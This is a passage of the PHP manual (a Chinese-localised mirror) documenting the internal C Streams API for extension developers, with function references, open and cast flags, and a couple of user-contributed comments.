The PHP Streams API introduces a unified approach to the handling of files and sockets in PHP extension. Using a single API with standard functions for common operations, the streams API allows your extension to access files, sockets, URLs, memory and script-defined objects. Streams is a run-time extensible API that allows dynamically loaded modules (and scripts!) to register new streams.

The aim of the Streams API is to make it comfortable for developers to open files, URLs and other streamable data sources with a unified API that is easy to understand. The API is more or less based on the ANSI C stdio family of functions (with identical semantics for most of the main functions), so C programmers will have a feeling of familiarity with streams.

The streams API operates on a couple of different levels: at the base level, the API defines php_stream objects to represent streamable data sources. On a slightly higher level, the API defines php_stream_wrapper objects which "wrap" around the lower level API to provide support for retrieving data and meta-data from URLs. An additional context parameter, accepted by most stream creation functions, is passed to the wrapper's stream_opener method to fine-tune the behavior of the wrapper.

Any stream, once opened, can also have any number of filters applied to it, which process data as it is read from/written to the stream.

Streams can be cast (converted) into other types of file-handles, so that they can be used with third-party libraries without a great deal of trouble. This allows those libraries to access data directly from URL sources. If your system has the fopencookie() or funopen() function, you can even pass any PHP stream to any library that uses ANSI stdio!

注: The functions in this chapter are for use in the PHP source code and are not PHP functions. Userland stream functions can be found in the Stream Reference.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
PHP 和 Zend 引擎内部资料 | 上一级 | Streams Basics


Streams Basics

Using streams is very much like using ANSI stdio functions. The main difference is in how you obtain the stream handle to begin with. In most cases, you will use php_stream_open_wrapper() to obtain the stream handle. This function works very much like fopen, as can be seen from the example below:

例子 44-1. simple stream example that displays the PHP home page

php_stream * stream = php_stream_open_wrapper("http://www.php.net", "rb", REPORT_ERRORS, NULL);
if (stream) {
    while(!php_stream_eof(stream)) {
        char buf[1024];

        if (php_stream_gets(stream, buf, sizeof(buf))) {
            printf(buf);
        } else {
            break;
        }
    }
    php_stream_close(stream);
}

The table below shows the Streams equivalents of the more common ANSI stdio functions. Unless noted otherwise, the semantics of the functions are identical.

表格 44-1. ANSI stdio equivalent functions in the Streams API

ANSI Stdio Function | PHP Streams Function | Notes
fopen | php_stream_open_wrapper | Streams includes additional parameters
fclose | php_stream_close |
fgets | php_stream_gets |
fread | php_stream_read | The nmemb parameter is assumed to have a value of 1, so the prototype looks more like read(2)
fwrite | php_stream_write | The nmemb parameter is assumed to have a value of 1, so the prototype looks more like write(2)
fseek | php_stream_seek |
ftell | php_stream_tell |
rewind | php_stream_rewind |
feof | php_stream_eof |
fgetc | php_stream_getc |
fputc | php_stream_putc |
fflush | php_stream_flush |
puts | php_stream_puts | Same semantics as puts, NOT fputs
fstat | php_stream_stat | Streams has a richer stat structure

add a note add a note User Contributed Notes
net_navard at yahoo dot com
08-Dec-2005 11:22
Hello firends

In crude terms, streams are chunks of data, which are    carried out by low-level sockets. When you open a
connection to a host, (Web server, mail server or
whatever), in fact you're opening a socket to that
host and then sending out streams (chunks of data)
either you're sending a request or receiving a response.

Streams are the flow of data that's travelling within
the socket

 (think about a socket like a logical not physical-
pipeline handled by the operating system,
A pipeline is essential just a connection For example ,When we open file by fopen() ,It creates a connection or a pipeline on that file ,so that we can write or read data on that file.
Data in a stream flow along one of tow pipelines:

- Data sent down s stream from your PHP script to the destination file or network server flows the write pipeline.

- Data retrieved from the file or network server flows up the read pipeline. )

and transport are the protocols used to carry out the
data, such as TCP. Also metadata is additional
information that must be handled by sockets. Let's say
you're opening a file with PHP, and this operation
returns a handle or pointer to that file. In this
case, when reading from the file, its contents will be
read as chunks or packets of data (streams), while the
respective pointer, the name of the file, size and so
forth is metadata. Of course, all this data set will
be transported trough a socket via a transport such as
TCP.

                                 With Regards

                                   Amir Hossein Estakhrian
add a note add a note

后退 | 起点 | 前进
PHP 扩展库编程 API 指南 | 上一级 | Streams as Resources


Streams Common API Reference

目录
php_stream_stat_path -- Gets the status for a file or URL
php_stream_stat -- Gets the status for the underlying storage associated with a stream
php_stream_open_wrapper -- Opens a stream on a file or URL
php_stream_read -- Read a number of bytes from a stream into a buffer
php_stream_write -- Write a number of bytes from a buffer to a stream
php_stream_eof -- Check for an end-of-file condition on a stream
php_stream_getc -- Read a single byte from a stream
php_stream_gets -- Read a line of data from a stream into a buffer
php_stream_close -- Close a stream
php_stream_flush -- Flush stream buffers to storage
php_stream_seek -- Reposition a stream
php_stream_tell -- Determine the position of a stream
php_stream_copy_to_stream -- Copy data from one stream to another
php_stream_copy_to_mem -- Copy data from stream and into an allocated buffer
php_stream_make_seekable -- Convert a stream into a stream is seekable
php_stream_cast -- Convert a stream into another form, such as a FILE* or socket
php_stream_can_cast -- Determines if a stream can be converted into another form, such as a FILE* or socket
php_stream_is_persistent -- Determines if a stream is a persistent stream
php_stream_is -- Determines if a stream is of a particular type
php_stream_passthru -- Outputs all remaining data from a stream
php_register_url_stream_wrapper -- Registers a wrapper with the Streams API
php_unregister_url_stream_wrapper -- Unregisters a wrapper from the Streams API
php_stream_open_wrapper_ex -- Opens a stream on a file or URL, specifying context
php_stream_open_wrapper_as_file -- Opens a stream on a file or URL, and converts to a FILE*
php_stream_filter_register_factory -- Registers a filter factory with the Streams API
php_stream_filter_unregister_factory -- Deregisters a filter factory with the Streams API

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Streams as Resources | 上一级 | php_stream_stat_path


Streams Constants

目录
Stream open options -- Affects the operation of stream factory functions

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
struct php_stream_filter_ops | 上一级 | Stream open options


Streams Dir API Reference

目录
php_stream_opendir -- Open a directory for file enumeration
php_stream_readdir -- Fetch the next directory entry from an opened dir
php_stream_rewinddir -- Rewind a directory stream to the first entry
php_stream_closedir -- Close a directory stream and release resources

The functions listed in this section work on local files, as well as remote files (provided that the wrapper supports this functionality!).

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
php_stream_filter_unregister_factory | 上一级 | php_stream_opendir


Streams File API Reference

目录
php_stream_fopen_from_file -- Convert an ANSI FILE* into a stream
php_stream_fopen_tmpfile -- Open a FILE* with tmpfile() and convert into a stream
php_stream_fopen_temporary_file -- Generate a temporary file name and open a stream on it

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
php_stream_closedir | 上一级 | php_stream_fopen_from_file


Stream open options

(no version information, might be only in CVS)

Stream open options -- Affects the operation of stream factory functions

Description

One or more of these values can be combined using the OR operator.

IGNORE_PATH

This is the default option for streams; it requests that the include_path is not to be searched for the requested file.

USE_PATH

Requests that the include_path is to be searched for the requested file.

IGNORE_URL

Requests that registered URL wrappers are to be ignored when opening the stream. Other non-URL wrappers will be taken into consideration when decoding the path. There is no opposite form for this flag; the streams API will use all registered wrappers by default.

IGNORE_URL_WIN

On Windows systems, this is equivalent to IGNORE_URL. On all other systems, this flag has no effect.

ENFORCE_SAFE_MODE

Requests that the underlying stream implementation perform safe_mode checks on the file before opening the file. Omitting this flag will skip safe_mode checks and allow opening of any file that the PHP process has rights to access.

REPORT_ERRORS

If this flag is set, and there was an error during the opening of the file or URL, the streams API will call the php_error function for you. This is useful because the path may contain username/password information that should not be displayed in the browser output (it would be a security risk to do so). When the streams API raises the error, it first strips username/password information from the path, making the error message safe to display in the browser.

STREAM_MUST_SEEK

This flag is useful when your extension really must be able to randomly seek around in a stream. Some streams may not be seekable in their native form, so this flag asks the streams API to check to see if the stream does support seeking. If it does not, it will copy the stream into temporary storage (which may be a temporary file or a memory stream) which does support seeking. Please note that this flag is not useful when you want to seek the stream and write to it, because the stream you are accessing might not be bound to the actual resource you requested.

注: If the requested resource is network based, this flag will cause the opener to block until the whole contents have been downloaded.

STREAM_WILL_CAST

If your extension is using a third-party library that expects a FILE* or file descriptor, you can use this flag to request the streams API to open the resource but avoid buffering. You can then use php_stream_cast() to retrieve the FILE* or file descriptor that the library requires.

The is particularly useful when accessing HTTP URLs where the start of the actual stream data is found after an indeterminate offset into the stream.

Since this option disables buffering at the streams API level, you may experience lower performance when using streams functions on the stream; this is deemed acceptable because you have told streams that you will be using the functions to match the underlying stream implementation. Only use this option when you are sure you need it.

add a note add a note User Contributed Notes
armand at nl dot envida dot net
12-Sep-2003 05:05
To have your extension ignore the open_basedir restrictions that may be set, use
  STREAM_DISABLE_OPENBASEDIR

I'm not sure why this option is left out of the documentation,
there are valid and legit uses for this option.
add a note add a note

后退 | 起点 | 前进
Streams Constants | 上一级 | Zend API：深入 PHP 内核


php_register_url_stream_wrapper

(no version information, might be only in CVS)

php_register_url_stream_wrapper -- Registers a wrapper with the Streams API

Description

int php_register_url_stream_wrapper ( char * protocol, php_stream_wrapper * wrapper, TSRMLS_DC )

php_register_url_stream_wrapper() registers wrapper as the handler for the protocol specified by protocol.

注: If you call this function from a loadable module, you *MUST* call php_unregister_url_stream_wrapper() in your module shutdown function, otherwise PHP will crash.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
php_stream_passthru | 上一级 | php_unregister_url_stream_wrapper


php_stream_can_cast

(no version information, might be only in CVS)

php_stream_can_cast -- Determines if a stream can be converted into another form, such as a FILE* or socket

Description

int php_stream_can_cast ( php_stream * stream, int castas )

This function is equivalent to calling php_stream_cast() with ret set to NULL and flags set to 0. It returns SUCCESS if the stream can be converted into the form requested, or FAILURE if the conversion cannot be performed.

注: Although this function will not perform the conversion, some internal stream state *might* be changed by this call.

注: You must explicitly compare the return value of this function with one of the constants, as described in php_stream_cast().

See also php_stream_cast() and php_stream_is().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
php_stream_cast | 上一级 | php_stream_is_persistent


php_stream_cast

(no version information, might be only in CVS)

php_stream_cast -- Convert a stream into another form, such as a FILE* or socket

Description

int php_stream_cast ( php_stream * stream, int castas, void ** ret, int flags )

php_stream_cast() attempts to convert stream into a resource indicated by castas. If ret is NULL, the stream is queried to find out if such a conversion is possible, without actually performing the conversion (however, some internal stream state *might* be changed in this case). If flags is set to REPORT_ERRORS, an error message will be displayed is there is an error during conversion.

注: This function returns SUCCESS for success or FAILURE for failure. Be warned that you must explicitly compare the return value with SUCCESS or FAILURE because of the underlying values of those constants. A simple boolean expression will not be interpreted as you intended.

表格 44-1. Resource types for castas

Value | Meaning
PHP_STREAM_AS_STDIO | Requests an ANSI FILE* that represents the stream
PHP_STREAM_AS_FD | Requests a POSIX file descriptor that represents the stream
PHP_STREAM_AS_SOCKETD | Requests a network socket descriptor that represents the stream

In addition to the basic resource types above, the conversion process can be altered by using the following flags by using the OR operator to combine the resource type with one or more of the following values:

表格 44-2. Resource types for castas

Value | Meaning
PHP_STREAM_CAST_TRY_HARD | Tries as hard as possible, at the expense of additional resources, to ensure that the conversion succeeds
PHP_STREAM_CAST_RELEASE | Informs the streams API that some other code (possibly a third party library) will be responsible for closing the underlying handle/resource. This causes the stream to be closed in such a way the underlying handle is preserved and returned in ret. If this function succeeds, stream should be considered closed and should no longer be used.

注: If your system supports fopencookie() (systems using glibc 2 or later), the streams API will always be able to synthesize an ANSI FILE* pointer over any stream. While this is tremendously useful for passing any PHP stream to any third-party libraries, such behaviour is not portable. You are requested to consider the portability implications before distributing you extension. If the fopencookie synthesis is not desirable, you should query the stream to see if it naturally supports FILE* by using php_stream_is()

注: If you ask a socket based stream for a FILE*, the streams API will use fdopen() to create it for you. Be warned that doing so may cause data that was buffered in the streams layer to be lost if you intermix streams API calls with ANSI stdio calls.

See also php_stream_is() and php_stream_can_cast().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
php_stream_make_seekable | 上一级 | php_stream_can_cast


php_stream_close

(no version information, might be only in CVS)

php_stream_close -- Close a stream

Description

int php_stream_close ( php_stream * stream )

php_stream_close() safely closes stream and releases the resources associated with it. After stream has been closed, it's value is undefined and should not be used.

php_stream_close() returns 0 if the stream was closed or EOF to indicate an error. Regardless of the success of the call, stream is undefined and should not be used after a call to this function.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
php_stream_gets | 上一级 | php_stream_flush


php_stream_closedir

(no version information, might be only in CVS)

php_stream_closedir -- Close a directory stream and release resources

Description

int php_stream_closedir ( php_stream * dirstream )

php_stream_closedir() closes a directory stream and releases resources associated with it. Returns 0 on success, but -1 on failure.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
php_stream_rewinddir | 上一级 | Streams File API Reference


php_stream_copy_to_mem

(no version information, might be only in CVS)

php_stream_copy_to_mem -- Copy data from stream and into an allocated buffer

Description

size_t php_stream_copy_to_mem ( php_stream * src, char ** buf, size_t maxlen, int persistent )

php_stream_copy_to_mem() allocates a buffer maxlen+1 bytes in length using pemalloc() (passing persistent). It then reads maxlen bytes from src and stores them in the allocated buffer.

The allocated buffer is returned in buf, and the number of bytes successfully read. You, the caller, are responsible for freeing the buffer by passing it and persistent to pefree().

If you want to copy all remaining data from the src stream, pass the constant PHP_STREAM_COPY_ALL as the value of maxlen.

注: This function will attempt to copy the data in the most efficient manner, using memory mapped files when possible.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
php_stream_copy_to_stream | 上一级 | php_stream_make_seekable


php_stream_copy_to_stream

(no version information, might be only in CVS)

php_stream_copy_to_stream -- Copy data from one stream to another

Description

size_t php_stream_copy_to_stream ( php_stream * src, php_stream * dest, size_t maxlen )

php_stream_copy_to_stream() attempts to read up to maxlen bytes of data from src and write them to dest, and returns the number of bytes that were successfully copied.

If you want to copy all remaining data from the src stream, pass the constant PHP_STREAM_COPY_ALL as the value of maxlen.

注: This function will attempt to copy the data in the most efficient manner, using memory mapped files when possible.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
php_stream_tell | 上一级 | php_stream_copy_to_mem


php_stream_eof

(no version information, might be only in CVS)

php_stream_eof -- Check for an end-of-file condition on a stream

Description

int php_stream_eof ( php_stream * stream )

php_stream_eof() checks for an end-of-file condition on stream.

php_stream_eof() returns the 1 to indicate EOF, 0 if there is no EOF and -1 to indicate an error.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
php_stream_write | 上一级 | php_stream_getc


php_stream_filter_register_factory

(no version information, might be only in CVS)

php_stream_filter_register_factory -- Registers a filter factory with the Streams API

Description

int php_stream_filter_register_factory ( const char * filterpattern, php_stream_filter_factory * factory )

Use this function to register a filter factory with the name given by filterpattern. filterpattern can be either a normal string name (i.e. myfilter) or a global pattern (i.e. myfilterclass.*) to allow a single filter to perform different operations depending on the exact name of the filter invoked (i.e. myfilterclass.foo, myfilterclass.bar, etc...)

注: Filters registered by a loadable extension must be certain to call php_stream_filter_unregister_factory() during MSHUTDOWN.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
php_stream_open_wrapper_as_file | 上一级 | php_stream_filter_unregister_factory


php_stream_filter_unregister_factory

(no version information, might be only in CVS)

php_stream_filter_unregister_factory -- Deregisters a filter factory with the Streams API

Description

int php_stream_filter_unregister_factory ( const char * filterpattern )

Deregisters the filterfactory specified by the filterpattern making it no longer available for use.

注: Filters registered by a loadable extension must be certain to call php_stream_filter_unregister_factory() during MSHUTDOWN.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
php_stream_filter_register_factory | 上一级 | Streams Dir API Reference


php_stream_flush

(no version information, might be only in CVS)

php_stream_flush -- Flush stream buffers to storage

Description

int php_stream_flush ( php_stream * stream )

php_stream_flush() causes any data held in write buffers in stream to be committed to the underlying storage.

php_stream_flush() returns 0 if the buffers were flushed, or if the buffers did not need to be flushed, but returns EOF to indicate an error.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
php_stream_close | 上一级 | php_stream_seek


php_stream_fopen_from_file

(no version information, might be only in CVS)

php_stream_fopen_from_file -- Convert an ANSI FILE* into a stream

Description

php_stream * php_stream_fopen_from_file ( FILE * file, char * mode )

php_stream_fopen_from_file() returns a stream based on the file. mode must be the same as the mode used to open file, otherwise strange errors may occur when trying to write when the mode of the stream is different from the mode on the file.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Streams File API Reference | 上一级 | php_stream_fopen_tmpfile


php_stream_fopen_temporary_file

(no version information, might be only in CVS)

php_stream_fopen_temporary_file -- Generate a temporary file name and open a stream on it

Description

php_stream * php_stream_fopen_temporary_file ( const char * dir, const char * pfx, char ** opened )

php_stream_fopen_temporary_file() generates a temporary file name in the directory specified by dir and with a prefix of pfx. The generated file name is returns in the opened parameter, which you are responsible for cleaning up using efree(). A stream is opened on that generated filename in "w+b" mode. The file is NOT automatically deleted; you are responsible for unlinking or moving the file when you have finished with it.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
php_stream_fopen_tmpfile | 上一级 | Streams Socket API Reference


php_stream_fopen_tmpfile

(no version information, might be only in CVS)

php_stream_fopen_tmpfile -- Open a FILE* with tmpfile() and convert into a stream

Description

php_stream * php_stream_fopen_tmpfile ( void )

php_stream_fopen_tmpfile() returns a stream based on a temporary file opened with a mode of "w+b". The temporary file will be deleted automatically when the stream is closed or the process terminates.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
php_stream_fopen_from_file | 上一级 | php_stream_fopen_temporary_file


php_stream_getc

(no version information, might be only in CVS)

php_stream_getc -- Read a single byte from a stream

Description

int php_stream_getc ( php_stream * stream )

php_stream_getc() reads a single character from stream and returns it as an unsigned char cast as an int, or EOF if the end-of-file is reached, or an error occurred.

php_stream_getc() may block in the same way as php_stream_read() blocks.

The internal position of the stream is advanced by 1 if successful.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
php_stream_eof | 上一级 | php_stream_gets


php_stream_gets

(no version information, might be only in CVS)

php_stream_gets -- Read a line of data from a stream into a buffer

Description

char * php_stream_gets ( php_stream * stream, char * buf, size_t maxlen )

php_stream_gets() reads up to count-1 bytes of data from stream and copies them into the buffer buf. Reading stops after an EOF or a newline. If a newline is read, it is stored in buf as part of the returned data. A NUL terminating character is stored as the last character in the buffer.

php_stream_read() returns buf when successful or NULL otherwise.

The internal position of the stream is advanced by the number of bytes that were read, so that subsequent reads will continue reading from that point.

This function may block in the same way as php_stream_read().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
php_stream_getc | 上一级 | php_stream_close


php_stream_is

(no version information, might be only in CVS)

php_stream_is -- Determines if a stream is of a particular type

Description

int php_stream_is ( php_stream * stream, int istype )

php_stream_is() returns 1 if stream is of the type specified by istype, or 0 otherwise.

表格 44-1. Values for istype

Value | Meaning
PHP_STREAM_IS_STDIO | The stream is implemented using the stdio implementation
PHP_STREAM_IS_SOCKET | The stream is implemented using the network socket implementation
PHP_STREAM_IS_USERSPACE | The stream is implemented using the userspace object implementation
PHP_STREAM_IS_MEMORY | The stream is implemented using the grow-on-demand memory stream implementation

注: The PHP_STREAM_IS_XXX "constants" are actually defined as pointers to the underlying stream operations structure. If your extension (or some other extension) defines additional streams, it should also declare a PHP_STREAM_IS_XXX constant in it's header file that you can use as the basis of this comparison.

注: This function is implemented as a simple (and fast) pointer comparison, and does not change the stream state in any way.

See also php_stream_cast() and php_stream_can_cast().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
php_stream_is_persistent | 上一级 | php_stream_passthru


php_stream_is_persistent

(no version information, might be only in CVS)

php_stream_is_persistent -- Determines if a stream is a persistent stream

Description

int php_stream_is_persistent ( php_stream * stream )

php_stream_is_persistent() returns 1 if the stream is a persistent stream, 0 otherwise.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
php_stream_can_cast | 上一级 | php_stream_is


php_stream_make_seekable

(no version information, might be only in CVS)

php_stream_make_seekable -- Convert a stream into a stream is seekable

Description

int php_stream_make_seekable ( php_stream * origstream, php_stream ** newstream, int flags )

php_stream_make_seekable() checks if origstream is seekable. If it is not, it will copy the data into a new temporary stream. If successful, newstream is always set to the stream that is valid to use, even if the original stream was seekable.

flags allows you to specify your preference for the seekable stream that is returned: use PHP_STREAM_NO_PREFERENCE to use the default seekable stream (which uses a dynamically expanding memory buffer, but switches to temporary file backed storage when the stream size becomes large), or use PHP_STREAM_PREFER_STDIO to use "regular" temporary file backed storage.

表格 44-1. php_stream_make_seekable() return values

Value | Meaning
PHP_STREAM_UNCHANGED | Original stream was seekable anyway. newstream is set to the value of origstream.
PHP_STREAM_RELEASED | Original stream was not seekable and has been released. newstream is set to the new seekable stream. You should not access origstream anymore.
PHP_STREAM_FAILED | An error occurred while attempting conversion. newstream is set to NULL; origstream is still valid.
PHP_STREAM_CRITICAL | An error occurred while attempting conversion that has left origstream in an indeterminate state. newstream is set to NULL and it is highly recommended that you close origstream.

注: If you need to seek and write to the stream, it does not make sense to use this function, because the stream it returns is not guaranteed to be bound to the same resource as the original stream.

注: If you only need to seek forwards, there is no need to call this function, as the streams API will emulate forward seeks when the whence parameter is SEEK_CUR.

注: If origstream is network based, this function will block until the whole contents have been downloaded.

注: NEVER call this function with an origstream that is reference by a file pointer in a PHP script! This function may cause the underlying stream to be closed which could cause a crash when the script next accesses the file pointer!

注: In many cases, this function can only succeed when origstream is a newly opened stream with no data buffered in the stream layer. For that reason, and because this function is complicated to use correctly, it is recommended that you use php_stream_open_wrapper() and pass in PHP_STREAM_MUST_SEEK in your options instead of calling this function directly.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
php_stream_copy_to_mem | 上一级 | php_stream_cast


php_stream_open_wrapper

(no version information, might be only in CVS)

php_stream_open_wrapper -- Opens a stream on a file or URL

Description

php_stream * php_stream_open_wrapper ( char * path, char * mode, int options, char ** opened )

php_stream_open_wrapper() opens a stream on the file, URL or other wrapped resource specified by path. Depending on the value of mode, the stream may be opened for reading, writing, appending or combinations of those. See the table below for the different modes that can be used; in addition to the characters listed below, you may include the character 'b' either as the second or last character in the mode string. The presence of the 'b' character informs the relevant stream implementation to open the stream in a binary safe mode.

The 'b' character is ignored on all POSIX conforming systems which treat binary and text files in the same way. It is a good idea to specify the 'b' character whenever your stream is accessing data where the full 8 bits are important, so that your code will work when compiled on a system where the 'b' flag is important.

Any local files created by the streams API will have their initial permissions set according to the operating system defaults - under Unix based systems this means that the umask of the process will be used. Under Windows, the file will be owned by the creating process. Any remote files will be created according to the URL wrapper that was used to open the file, and the credentials supplied to the remote server.

r

Open text file for reading. The stream is positioned at the beginning of the file.

r+

Open text file for reading and writing. The stream is positioned at the beginning of the file.

w

Truncate the file to zero length or create text file for writing. The stream is positioned at the beginning of the file.

w+

Open text file for reading and writing. The file is created if it does not exist, otherwise it is truncated. The stream is positioned at the beginning of the file.

a

Open for writing. The file is created if it does not exist. The stream is positioned at the end of the file.

a+

Open text file for reading and writing. The file is created if it does not exist. The stream is positioned at the end of the file.

options affects how the path/URL of the stream is interpreted, safe mode checks and actions taken if there is an error during opening of the stream. See Stream open options for more information about options.

If opened is not NULL, it will be set to a string containing the name of the actual file/resource that was opened. This is important when the options include USE_PATH, which causes the include_path to be searched for the file. You, the caller, are responsible for calling efree() on the filename returned in this parameter.

注: If you specified STREAM_MUST_SEEK in options, the path returned in opened may not be the name of the actual stream that was returned to you. It will, however, be the name of the original resource from which the seekable stream was manufactured.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
php_stream_stat | 上一级 | php_stream_read


php_stream_open_wrapper_as_file

(no version information, might be only in CVS)

php_stream_open_wrapper_as_file -- Opens a stream on a file or URL, and converts to a FILE*

Description

FILE * php_stream_open_wrapper_as_file ( char * path, char * mode, int options, char ** opened )

php_stream_open_wrapper_as_file() is exactly like php_stream_open_wrapper(), but converts the stream into an ANSI stdio FILE* and returns that instead of the stream. This is a convenient shortcut for extensions that pass FILE* to third-party libraries.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
php_stream_open_wrapper_ex | 上一级 | php_stream_filter_register_factory


php_stream_open_wrapper_ex

(no version information, might be only in CVS)

php_stream_open_wrapper_ex -- Opens a stream on a file or URL, specifying context

Description

php_stream * php_stream_open_wrapper_ex ( char * path, char * mode, int options, char ** opened, php_stream_context * context )

php_stream_open_wrapper_ex() is exactly like php_stream_open_wrapper(), but allows you to specify a php_stream_context object using context. To find out more about stream contexts, see Stream Contexts.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
php_unregister_url_stream_wrapper | 上一级 | php_stream_open_wrapper_as_file


php_stream_opendir

(no version information, might be only in CVS)

php_stream_opendir -- Open a directory for file enumeration

Description

php_stream * php_stream_opendir ( char * path, php_stream_context * context )

php_stream_opendir() returns a stream that can be used to list the files that are contained in the directory specified by path. This function is functionally equivalent to POSIX opendir(). Although this function returns a php_stream object, it is not recommended to try to use the functions from the common API on these streams.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Streams Dir API Reference | 上一级 | php_stream_readdir


php_stream_passthru

(no version information, might be only in CVS)

php_stream_passthru -- Outputs all remaining data from a stream

Description

size_t php_stream_passthru ( php_stream * stream )

php_stream_passthru() outputs all remaining data from stream to the active output buffer and returns the number of bytes output. If buffering is disabled, the data is written straight to the output, which is the browser making the request in the case of PHP on a web server, or stdout for CLI based PHP. This function will use memory mapped files if possible to help improve performance.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
php_stream_is | 上一级 | php_register_url_stream_wrapper


php_stream_read

(no version information, might be only in CVS)

php_stream_read -- Read a number of bytes from a stream into a buffer

Description

size_t php_stream_read ( php_stream * stream, char * buf, size_t count )

php_stream_read() reads up to count bytes of data from stream and copies them into the buffer buf.

php_stream_read() returns the number of bytes that were read successfully. There is no distinction between a failed read or an end-of-file condition - use php_stream_eof() to test for an EOF.

The internal position of the stream is advanced by the number of bytes that were read, so that subsequent reads will continue reading from that point.

If less than count bytes are available to be read, this call will block (or wait) until the required number are available, depending on the blocking status of the stream. By default, a stream is opened in blocking mode. When reading from regular files, the blocking mode will not usually make any difference: when the stream reaches the EOF php_stream_read() will return a value less than count, and 0 on subsequent reads.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
php_stream_open_wrapper | 上一级 | php_stream_write


php_stream_readdir

(no version information, might be only in CVS)

php_stream_readdir -- Fetch the next directory entry from an opened dir

Description

php_stream_dirent * php_stream_readdir ( php_stream * dirstream, php_stream_dirent * ent )

php_stream_readdir() reads the next directory entry from dirstream and stores it into ent. If the function succeeds, the return value is ent. If the function fails, the return value is NULL. See php_stream_dirent for more details about the information returned for each directory entry.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
php_stream_opendir | 上一级 | php_stream_rewinddir


php_stream_rewinddir

(no version information, might be only in CVS)

php_stream_rewinddir -- Rewind a directory stream to the first entry

Description

int php_stream_rewinddir ( php_stream * dirstream )

php_stream_rewinddir() rewinds a directory stream to the first entry. Returns 0 on success, but -1 on failure.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
php_stream_readdir | 上一级 | php_stream_closedir


php_stream_seek

(no version information, might be only in CVS)

php_stream_seek -- Reposition a stream

Description

int php_stream_seek ( php_stream * stream, off_t offset, int whence )

php_stream_seek() repositions the internal position of stream. The new position is determined by adding the offset to the position indicated by whence. If whence is set to SEEK_SET, SEEK_CUR or SEEK_END the offset is relative to the start of the stream, the current position or the end of the stream, respectively.

php_stream_seek() returns 0 on success, but -1 if there was an error.

注: Not all streams support seeking, although the streams API will emulate a seek if whence is set to SEEK_CUR and offset is positive, by calling php_stream_read() to read (and discard) offset bytes.

The emulation is only applied when the underlying stream implementation does not support seeking. If the stream is (for example) a file based stream that is wrapping a non-seekable pipe, the streams api will not apply emulation because the file based stream implements a seek operation; the seek will fail and an error result will be returned to the caller.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
php_stream_flush | 上一级 | php_stream_tell


php_stream_sock_open_from_socket

(no version information, might be only in CVS)

php_stream_sock_open_from_socket -- Convert a socket descriptor into a stream

Description

php_stream * php_stream_sock_open_from_socket ( int socket, int persistent )

php_stream_sock_open_from_socket() returns a stream based on the socket. persistent is a flag that controls whether the stream is opened as a persistent stream. Generally speaking, this parameter will usually be 0.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Streams Socket API Reference | 上一级 | php_stream_sock_open_host


php_stream_sock_open_host

(no version information, might be only in CVS)

php_stream_sock_open_host -- Open a connection to a host and return a stream

Description

php_stream * php_stream_sock_open_host ( const char * host, unsigned short port, int socktype, struct timeval * timeout, int persistent )

php_stream_sock_open_host() establishes a connect to the specified host and port. socktype specifies the connection semantics that should apply to the connection. Values for socktype are system dependent, but will usually include (at a minimum) SOCK_STREAM for sequenced, reliable, two-way connection based streams (TCP), or SOCK_DGRAM for connectionless, unreliable messages of a fixed maximum length (UDP).

persistent is a flag the controls whether the stream is opened as a persistent stream. Generally speaking, this parameter will usually be 0.

If not NULL, timeout specifies a maximum time to allow for the connection to be made. If the connection attempt takes longer than the timeout value, the connection attempt is aborted and NULL is returned to indicate that the stream could not be opened.

注: The timeout value does not include the time taken to perform a DNS lookup. The reason for this is because there is no portable way to implement a non-blocking DNS lookup.

The timeout only applies to the connection phase; if you need to set timeouts for subsequent read or write operations, you should use php_stream_sock_set_timeout() to configure the timeout duration for your stream once it has been opened.

The streams API places no restrictions on the values you use for socktype, but encourages you to consider the portability of values you choose before you release your extension.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
php_stream_sock_open_from_socket | 上一级 | php_stream_sock_open_unix


php_stream_sock_open_unix

(no version information, might be only in CVS)

